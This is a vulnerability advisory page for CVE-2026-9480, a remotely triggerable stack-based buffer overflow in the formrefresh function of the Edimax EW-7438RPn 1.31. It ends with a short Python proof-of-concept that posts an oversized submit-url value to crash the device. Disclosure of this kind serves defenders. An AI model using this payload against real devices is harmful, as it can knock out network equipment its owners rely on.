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CVE-2026-9480 CVSS 8.8 HIGH

CVE-2026-9480

Published: 2026-05-25 19:16:36
Last Modified: 2026-05-25 19:16:36

Description

A vulnerability was detected in Edimax EW-7438RPn 1.31. The impacted element is the function formrefresh of the file /goform/formrefresh. The manipulation of the argument submit-url results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Edimax EW-7438RPn 1.31

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target = "http://<TARGET_IP>/goform/formrefresh" # Stack overflow payload padding payload_data = { "submit-url": "A" * 1000 # Adjust length based on buffer size } try: r = requests.post(target, data=payload_data) print(f"Status Code: {r.status_code}") except Exception as e: print(f"Exploit sent, device might be crashed: {e}")

References

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